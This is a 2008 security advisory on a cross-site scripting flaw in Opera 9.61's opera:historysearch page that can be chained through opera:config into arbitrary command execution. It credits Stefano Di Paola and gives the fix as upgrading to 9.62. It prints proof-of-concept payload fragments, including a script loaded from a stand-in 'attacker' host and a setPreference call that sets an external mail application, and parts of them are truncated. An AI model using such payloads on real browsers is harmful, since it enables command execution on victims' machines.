Opera Xss leads to command execution.

Tested Versions:

Opera 9.61

Tested OS:

XP Professional SP2 Italian

Minded Security ReferenceID:



Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_]





Solution: upgrade to Opera 9.62


Opera fails to sanitize the q parameter in opera:historysearch.
This leads to a Cross Site Scripting in the context of opera: scheme leveraging it to perform execution of arbitrary commands under the user executing the browser.


If an attacker entice a user to click/visit a malicious page pointing the browser to:


there is the chance to exploit once again the opera:* scheme, but just if some result in the historysearch page is found.
In order to satisfy this hypothesis, the payload itself needs to be cached by opera.
An attacker could simply let Opera display it in the evil page:

<script src="http://attacker/operahistory/index.html"&gt;&lt;/s...

// Js payload starts here
// Js payload from Aviv Raff's implementation of
// my suggestions
s.src="javascript:opera.setPreference('Mail','External Application',
// Aviv's payload ends here
// Js payload ends here
/* Html payload Starts here
function x() {'opera:historysearch?q=%2A">
<body onload="setTimeout(x,300)">
<h3>opera:historysearch?q=%2AXssHere POC</h3>
Wait for a while<br/>
The string for cache retrieval: <br/>
<script src="http://attacker/operahistory/index.html"&gt;&lt;/s...
<!-- Html payload Ends here */

Then since same origin policy matching is evaluated by comparing

scheme1 + host1 + port1 == scheme2 + host2 + port2

We got opera:* considered as:

opera + null + null

For every opera:* feature.

So by injecting an iframe from opera:historysearch and pointing to opera:config there is a match in the same origin policy, leading to command execution.


Stefano di Paola is credited with the discovery of this vulnerability.

Disclosure Timeline

22/10/2008 Issue found
30/10/2008 Vendor releases opera 9.62 which fixes the issue


Minded Security would like to thanks Roberto Suggi Liverani, Kuza55 and Aviv Raff.


The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Any use of this information is at the user’s own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail for permission.


Implement the right DevSecOps automation and Continuous Web Application Scanning for your needs.

consulting minded security


We are a Consultancy Company focused in supporting Companies to develop secure products.

testing minded security


We performs software security analysis in white box mode and black box mode.

training minded security


Training and awareness in software security is critical for information security.